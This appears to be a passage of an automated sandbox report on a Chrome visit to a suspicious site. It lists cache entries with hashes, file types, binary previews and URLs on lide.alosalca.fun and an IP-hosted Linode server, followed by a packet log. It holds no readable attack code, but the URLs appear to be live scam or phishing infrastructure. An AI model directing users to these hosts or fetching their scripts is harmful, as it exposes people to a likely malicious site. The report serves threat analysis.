URL:	http://lide.alosalca.fun/favicon.ico
Preview:	..........U..n.0.D...)...e.%A ..U...[l)......Jm..ovgV.....}Wb].T.......MY.....M..3.r;1J{97F{..(-A.6....$X..:M7Qi.!}H..\|s..s........V.a.V.j[.$..8...E....T.e.=9.$.h.......sNy\..(....C..x.$t-.F..\.cw.(..mt.....,.E4..P.Y<..;...

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.8964040875570065
Encrypted:	false
SSDEEP:	3:HqzthG8KCGwM8nLW8QL:KBaFP2fQL
MD5:	A857C0BEEE071500DA4903F10305BA8C
SHA1:	A6BA906B3EE3E4F29AADDEE102886F46DA1FFD45
SHA-256:	C49F598E0EA30CF7D914AE73B5A7D97F3ACF98542B643D7620D40F5A4AEB0800
SHA-512:	109A2937ABE6FDCF6E6949E108759E0533DCB288FE0A2F456A513D293DA933FB9CEBAD13AC232F0E7C16D658011498CCA56FF2B97461F6D6277C3C6F0B3C7E15
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmnKlfaOw7HnRIFDQwSDOUSEAlhiFEzmvexMhIFDVOefsISEAkrw1RyerJQlhIFDXVfuUESEAkPzeskucf1URIFDUPzdjk=?alt=proto
Preview:	CgkKBw0MEgzlGgAKCQoHDVOefsIaAAoJCgcNdV+5QRoACgkKBw1D83Y5GgA=

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 334x46, components 3
Category:	downloaded
Size (bytes):	6282
Entropy (8bit):	7.900663613631063
Encrypted:	false
SSDEEP:	96:EEhA6VqQqQOBAcZQHajRps/5Cja8flvHxnVvU9wfo5Bs1QAb5P:EfQZ9OBFZ1p9H3CwfSub5P
MD5:	88C17AFA5DFF4398FA1A210C4C2112EE
SHA1:	53A02398EDA24A599E309BF5F6ADEC1EE674E370
SHA-256:	9202820F04C830FDF49FC1392EC822C409BA47ADC7AB4A93A83B483BEA3CA1A6
SHA-512:	9A4CB85226ED5E876478CAE8E9991E8F3EC2158E5369E9F5BDAA348B26F44CA92D1A06A168C9E6355E9F021C513BDCF55C1A8DB9477B6625E49B5F9035C32549
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/noac/nlCQLkXBV0Ryrh8U
Preview:	......JFIF.....x.x.....C....................................................................C.........................................................................N.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S.............W..... ......g....g.2G.3c....Nq.*_....B\|7..N.n.u....t..\|..I..s..d.p2.8....M...._5..O....z].....9.....O..b.j..g.6.....?c.S.n..>.L.N....m{\|...\|.m....aE.P0..(...(...(...(...(...(....s...<5.........4..X.c%.w.T.p.z....Eb\|[...\|9...x3X...N...n.cER..y......ye...[.....?j.^...O.>&\|5.~...[.G..MF.J....F'....;p{d..~..gd.2o....~!\|K.>..q.k.H^f....\|....\..@

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 374636
Category:	downloaded
Size (bytes):	133988
Entropy (8bit):	7.997747739714689
Encrypted:	true
SSDEEP:	3072:cQcd+OBZEGZXvSzDu/CkbP8DfSLAHs1IzPs5w:cLd5xN5Kk78eNCPT
MD5:	908CAC7174757A17637A4EE79D74996E
SHA1:	D845FC46D1599FDE2ED858DE272C5167DF7CAE99
SHA-256:	EC96542FFF7202DA6348D7A0B87C40B2597B6922190F4AD0EB2429C4EA5FE24D
SHA-512:	309456A6C2A8D9DE699AC8EBE0ABAD94C6D2E8704407FD33547E05F2C8341A8F2B3F3B5887C89C03715F58466DE8E0A0005067CF0B791FFA8B5AE579EC77CE58
Malicious:	false
Reputation:	low
URL:	http://lide.alosalca.fun/highbox/mega.js
Preview:	.............[9....<...'..VU..F..\z..}.t;&......w?._.d..k..D.H..Dz$.b...c:..\|..'..........z$...5..k@..!.......M..b....R.';.5.'].....].yJ.n..2...{.3O......<i.u.....?.eD.jq<...f..vxi....:..o.=.n../.....hN.....S....h1....h.....F(b.?.u.........G.L.wm...f...l.b....-.wf.....:...a;......?....iWH._....m......5..C..n....t.u...G....6O..JK<^`....&mt.,....-W...../....=...<7..........a$......5.....\|.`..........l..#...\.4.~+0.(..E.&cL.t...?..C..L.k}...4..."6\|..C....^d.......:.fy...~..'xH.\|...0.M.O.._..\|.k.~.Ka...M..b.....+.$......v.#'..}[.O..<...O.1..g.........>?...V...{..\....."..x2....i$...! ...v..~...T......<..Y.....Fr,..z..];b..+.I.....d......%..?..A.D..I;...u.5c.#....4....wj..iz..t..)\.0j..b_............M.2].\.z....u...I..GZ...:...]B....:..Xu>..c..]#..0_.......K..'.....!h..=\|..$.4..9....L..^. 6a..{z@..m.3......{....&R....;...j~....>.E...=#z.:.?]...oW^..#1..M7.m\|O,w.a..O...G.6....?...!..Q........./...sB.h.....kG..o:....U.Z76.[.v.'....4.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 212739
Category:	downloaded
Size (bytes):	73664
Entropy (8bit):	7.996811791358264
Encrypted:	true
SSDEEP:	1536:ArSNZIoGHv9asJb5gblr386MHfi4E7OuvdKg0au48jaPx:Ar5oovfJbclr38nfhcOuv4W6+J
MD5:	92AD0FCCB6D275E2AA6E799E6DC1809F
SHA1:	9D035245899F2C7C900EA97824D1CFF73A85791A
SHA-256:	86A921CA68107833D856CB53767C5B907FD207AAEF69A0BE77FBE33A6491777F
SHA-512:	0F592940560F6E818D1DAD71E8677B4F5F56A2D7FCCE5E2B686DD2C3AE9E7DDC3D615D0E2C188BA9D2B570668D44AC8143D912BFD39989E7E701E2FAA1092A70
Malicious:	false
Reputation:	low
URL:	http://lide.alosalca.fun/highbox/
Preview:	...........W[...~.....KrW.(.....qbo...u'uv2 ..X...@Z.;..;.).Z.y.S..8..\q..^ ..u.A.l...L....$005..)..h......D.I!...K.I.(..-...Y....#..RO...._A..zh..PP?Y..\.F7.Y5!...x....}C..'.-..._.{.....F.f.R%.?..........{.p.\|2.l.^z..Q.{.yf..M....._].S..=.]\|...+.ev{..p0..o....2...p}..Rl..:.f.L.,....l'.%........H(:.....;^.k..E;'.}+.%o.....(...!.e.Z....v.-2.o...xLV.y.w.i.4.x.kV^.1[..-...q!.9...Q\.7~..m...m....;....N....=...o..O&a.4.1.l.1.{.m..@/...n.J....d.z...}/.z...8.....\.+...r....[v/.g..f{..H.{.'.GC.._X..B-0.O..k...:...?:.?...I.c..$.....m.B......I.'.X...v("%.4o,..."(.T.....]}...U.L.-=....f..0^..J\|..'./(F.m./.....z..g..v.:...n.}.s.G..#.-sL.'.....kwP.i.'......lx.. ....V.}i.\|.1/.l....:...WdWp{.....'...-R...."........................^.~..../o....._?...P.....PM...u.....0.u...... JU...X.....]..9....w.......S..w..4@xE"..E..J$..#"...."........[.u...l.jg."B.G...b..\...E..S.g..w9.K!I.vj..@.0.N....tOT.;.].-v1.....a...P..h..b....F..E.."'b..S

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 284x47, components 3
Category:	dropped
Size (bytes):	4655
Entropy (8bit):	7.877109052263454
Encrypted:	false
SSDEEP:	96:/Eo0VKiw4SNHvKgQpjth7tx+cHr8C1I9dgVJRFCnGBuM:/v0hnSPlQpjLtx+cHIDd+Jqn+R
MD5:	AEBF7E606F95F3CE0C4E35657B3F2C30
SHA1:	E08C7753C54F5CC5D877CBF157582E78F5D4B03A
SHA-256:	1EE866FB4F8EBCAD76DA3C51E6B53DE43A16FF08A6DF5739388BDAAE95184432
SHA-512:	E1766DBC98D327AAD25F216C796275D49D015741730524B93B3ED6F2F1B913813895B6812C25AAA5660036092D1DF9AD21C25E6797DDB0F43721999B67C501BF
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x.....C....................................................................C......................................................................./...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S..F`.I.9.....%..#.Z$z..w..:Gx.o-..#.a...A.+f..Nt...MIh..R!8........> .@...j..7S..y....+8y[j...c=y..t..Jq...{..O......BSt..Z..=.&.QEdh.T.....s..?.o.m,..v......v....h....\|A...h.0..W...C..U..m.G\V..9.h.{\|.z..B/..w.w5..y...u..Xh~0........ky#U1'...y,..<`..:S..Zj.........T.5.7et.m.}.....(...(...(...(...(...(...(.....x...i.^..Ik/..5KK@.6..-..)a..:..@5.I"..;.DQ.f8..

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 146x49, components 3
Category:	downloaded
Size (bytes):	2686
Entropy (8bit):	7.750600234046452
Encrypted:	false
SSDEEP:	48:FuERAO4EMEpIolkqxIjA8W8B5bL7eYUx95ssPF79+o:ME54EME6InxjC5zr4tP
MD5:	62E1CA16BF0CB6617F862A592561FF70
SHA1:	7499E9AA61FC2F7BB5D4E7AA8C551182C07A512C
SHA-256:	B3A4A3B326AD9B966FF3129F036291775855CC23744F78F887E98FBF6B427960
SHA-512:	ACD42229DA9465CF99BBF3E257BF8EE178BB92CAD9FFFBDB620F08E15296B28733431CF77E2BCCD9F6D75455BCA33B637B347BE28E27313E544ABD4A1357C130
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/icod/k0gEEZOfTBiICr1j
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................1...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S....>#......_..d......v.Z?/...6.v..+HS.K.......[...v.W...........dV..i.Gv...dU.....z.]...!..VPN>..9*j.F....hJ.\.>.'....(....(...(...(...(...(..O..<.<e......h..u..m..X3.!.L.X...qZ...Mm............;.(..4.(....m'.O....'Z...\..5......c.........C.M].}/....RC;.7.#!.%p.8.Mz.}...X......<.mZt...%.....='........o(.'..n..S....f../../..u..\|C.k...[.v7.y.n...".4..daw.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 509x76, components 3
Category:	dropped
Size (bytes):	11016
Entropy (8bit):	7.9259000460553475
Encrypted:	false
SSDEEP:	192:1ypw3mz0xouoBX3V8fV02t4ackeL7H1/3KDn3YGtFodjhrCsPJExp7k+YXhdh6TL:1760fIFc4aILSno3BzyP7k+YXb0TL
MD5:	C7568C7A1A8B269B668AE86A9E66EEC9
SHA1:	10D99CA0AE744942EFE1067DFE7BDA9E2536ACDD
SHA-256:	0A186EFCF33CA11C1162EE3E2A8EEC02498E574BD23E60E641B51F3C072CB67C
SHA-512:	35395F25BB6CB9E38D31241DC1D811D0B28356F07386B2CE1892C0FD2DE9BBDFBE5FFE617B6FEB0EE55C493FC080055B6EBE1DC0C1DDBB86C18A98EB34BE5C19
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................L...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S.......MN..W.d.mS.0/..................G.]<yn.h..L.c.{.;...{....Y..-..z..5..JZ.K..S{_.[z3..3.:.......@...:.......dn\|........5.h....K...u.MR....u.2G`.H.RL..t...N......ER...;\.i4..]B8eh%kY.@.).#.'.;..[..K...H5+9..v....[....A....q.wF^.i...4(.{_.h7.V6...qs}..-!..6{....r.."...s.x'_.......hd..k.lT...#..ek..5.H.j.....E\|.......7....-.;....?...+x.(..2...G.^...

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 284x47, components 3
Category:	downloaded
Size (bytes):	4655
Entropy (8bit):	7.877109052263454
Encrypted:	false
SSDEEP:	96:/Eo0VKiw4SNHvKgQpjth7tx+cHr8C1I9dgVJRFCnGBuM:/v0hnSPlQpjLtx+cHIDd+Jqn+R
MD5:	AEBF7E606F95F3CE0C4E35657B3F2C30
SHA1:	E08C7753C54F5CC5D877CBF157582E78F5D4B03A
SHA-256:	1EE866FB4F8EBCAD76DA3C51E6B53DE43A16FF08A6DF5739388BDAAE95184432
SHA-512:	E1766DBC98D327AAD25F216C796275D49D015741730524B93B3ED6F2F1B913813895B6812C25AAA5660036092D1DF9AD21C25E6797DDB0F43721999B67C501BF
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/vid2/GshGTxDGjm16q1FN
Preview:	......JFIF.....x.x.....C....................................................................C......................................................................./...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S..F`.I.9.....%..#.Z$z..w..:Gx.o-..#.a...A.+f..Nt...MIh..R!8........> .@...j..7S..y....+8y[j...c=y..t..Jq...{..O......BSt..Z..=.&.QEdh.T.....s..?.o.m,..v......v....h....\|A...h.0..W...C..U..m.G\V..9.h.{\|.z..B/..w.w5..y...u..Xh~0........ky#U1'...y,..<`..:S..Zj.........T.5.7et.m.}.....(...(...(...(...(...(...(.....x...i.^..Ik/..5KK@.6..-..)a..:..@5.I"..;.DQ.f8..

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 542x57, components 3
Category:	downloaded
Size (bytes):	9592
Entropy (8bit):	7.89791751215628
Encrypted:	false
SSDEEP:	192:aiNUhKlAT2gaWOyWxbNIf/Ji5cYIYSUbsHD9zPK+dBRV6MOf4:a2UhKlAT2TOWKhYyLK+dBO1f4
MD5:	849DE8C50A588C49897DDCD9A35E7A90
SHA1:	55BD498E5DFD0517E7A1F48D89C76EE6577B6D34
SHA-256:	08558BD88282A45CCECF3AE22E8706632FA509A90D0D86787A0129FDF261FB35
SHA-512:	2FDC6ABCDB67A6C231048BAA5C96A2BC6336F5F0529FC1D191EBB6B2728000E8906F69EDB0B926228193088F1F21D802099F502F9133566A5F5606513C8A69E0
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/apr3/bG8Q1jdDmyJZjsDO
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................9...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S..(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...........u_..../>.....y..vv.N..>..:...I...a.;..G..j..P.....^..4.-.6y.kNX...b.......+..Z...;.."..T...2..4z$..g...t....,....q..5..-6......MO...ij.*"..].......R]..).H..f..Z...u?y._u);)+....;$....rS.....{.w...Et...OR..[.../.k

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 143x50, components 3
Category:	downloaded
Size (bytes):	3272
Entropy (8bit):	7.786372152589349
Encrypted:	false
SSDEEP:	48:buERAyRqJtD97xBuSdN9Y8LUsU4twRrfiZ6L0objCSL4ILUXobghBdddddddi:CEgJ/7LtdFFxCRragLj6+No+
MD5:	E102194C90963DD7562941DC697E3CDF
SHA1:	3D16C101377925BCEA392EC7E1574E7129310E2E
SHA-256:	F750184286EA14C667B225D892722AB5AD53D3483165CB6C1D02F9DC24044BF9
SHA-512:	1A95A592CFD4637A29DD11D9ADFF440895EDB855A0214A7ED8BE1CA5446C63E896D65B97D7103FF12379420C4E2C1A33D387357B817F6AF090E4284493CAA980
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/sigi/te2BMKQevrPDL3Gd
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................2...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S.+...S\|'.Gy-...u.i..\Kc....\|g...z...o........[.\|;;.....y..n%'{...A..$.....#..x+.......[...=....\.y.\|..F...<RZ].....#.r.......\|C..d.#./..,.. ..x.d.....jO...9...i..u.&..+S!.7..C;.HQ.98.g5.....7...7....\|-.X.Gs....\F...I......}..~1x.._....z..)m......,..'.0EV.......G.-:....!...._...7Z......YM.r."..+o....`.=.<.....>.{...P_\|1..)o+......0...4i..:.9.o...\|!.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 66x34, components 3
Category:	downloaded
Size (bytes):	1500
Entropy (8bit):	7.579838071943682
Encrypted:	false
SSDEEP:	24:Xo0XxDuLHeOWXG4OZ7DAJuLHenX3fiWLzwi10+LeA+pJMJjkqNfK2Wuvnaes0GDk:YuERARdzwi1WHuJwCbRs0GOwiCun
MD5:	B9580B95D7C53D8CF6A7325FD673DF1B
SHA1:	2FC3D9D25D98CEE68FDD80D0A72A752296D54245
SHA-256:	694FCFECD405E1B11AA278860311E35885B74A0403E9D0CD85EB0665E1EADF28
SHA-512:	C4443D4EC5F2F20C4A16107178BC881304EBED155722CA91D25B6EFCA85F67247C9012116489A4B0B1A0E10EECE54D8CCAFBF23E2A7C20E55252EFB9BA40B9D4
Malicious:	false
Reputation:	low
URL:	https://69-164-216-107.ip.linodeusercontent.com/cncl/8s3ZmRtEUbi2xSck
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................".B.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S..j.........kem..i.8TP2I.G....u.1.x_.v.u..^Y$v.(...\.:nA...V...>....]\|..<....S.........s..K.T...A....yr--........../...(.....m;I.>...m.[.....t.d..:.p,.......5...../.{_.{=zY.~.N...-....=....~..Q\=..O..x....'.../..p.....c$...?.4.?.K{.;..O....,....z.G.'.;$s..H...C..II.mY...w~..n........K...<..5i.......z....J.^.k..L.v...I...I......!....n?....Q.9.\.)?[.o.....

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, baseline, precision 8, 143x50, components 3
Category:	dropped
Size (bytes):	3272
Entropy (8bit):	7.786372152589349
Encrypted:	false
SSDEEP:	48:buERAyRqJtD97xBuSdN9Y8LUsU4twRrfiZ6L0objCSL4ILUXobghBdddddddi:CEgJ/7LtdFFxCRragLj6+No+
MD5:	E102194C90963DD7562941DC697E3CDF
SHA1:	3D16C101377925BCEA392EC7E1574E7129310E2E
SHA-256:	F750184286EA14C667B225D892722AB5AD53D3483165CB6C1D02F9DC24044BF9
SHA-512:	1A95A592CFD4637A29DD11D9ADFF440895EDB855A0214A7ED8BE1CA5446C63E896D65B97D7103FF12379420C4E2C1A33D387357B817F6AF090E4284493CAA980
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x.....C....................................................................C.......................................................................2...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..S.+...S\|'.Gy-...u.i..\Kc....\|g...z...o........[.\|;;.....y..n%'{...A..$.....#..x+.......[...=....\.y.\|..F...<RZ].....#.r.......\|C..d.#./..,.. ..x.d.....jO...9...i..u.&..+S!.7..C;.HQ.98.g5.....7...7....\|-.X.Gs....\F...I......}..~1x.._....z..)m......,..'.0EV.......G.-:....!...._...7Z......YM.r."..+o....`.=.<.....>.{...P_\|1..)o+......0...4i..:.9.o...\|!.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:0A:0A
MD5:	9F7D0EE82B6A6CA7DDEAE841F3253059
SHA1:	BEC262808FFD307630F5D167BB7AAF470EABBE6B
SHA-256:	EC654FAC9599F62E79E2706ABEF23DFB7C07C08185AA86DB4D8695F0B718D1B3
SHA-512:	E234B8B4A925BE09116EF4825ED12CDD708158C81A392F0FC7420FA3E485576FAB0B63D2F1A5FF3CD56A80CF086E4F12956D3D1A5329D4880A7181E3AE93627C
Malicious:	false
Reputation:	low
Preview:	valid

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 21:44:48.418998957 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:44:48.418999910 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:44:48.512721062 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:44:55.601902008 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.601988077 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.602085114 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.603127956 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.603161097 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.603226900 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.603358984 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.603394032 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.603688002 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.603702068 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.850701094 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.850765944 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.851914883 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.851969004 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.853281975 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.853293896 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.853482008 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.853588104 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.854440928 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.854506969 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.858881950 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.858949900 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.860146046 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.860172987 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.860290051 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.860467911 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.901822090 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.901823997 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:55.901850939 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:55.944432974 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:56.377377033 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:56.377494097 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:56.377547979 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:56.378509045 CEST	49710	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:44:56.378520012 CEST	443	49710	172.67.128.161	192.168.2.5
Apr 25, 2024 21:44:56.526926041 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:56.635637045 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:56.637027025 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:56.637136936 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:56.637306929 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:56.745496035 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:56.745625973 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:56.746810913 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.014511108 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.014540911 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.014655113 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.014775991 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.065505028 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.090385914 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:44:57.130662918 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132236004 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132256031 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132268906 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132277966 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:44:57.132316113 CEST	80	49713	104.21.1.57	192.168.2.5
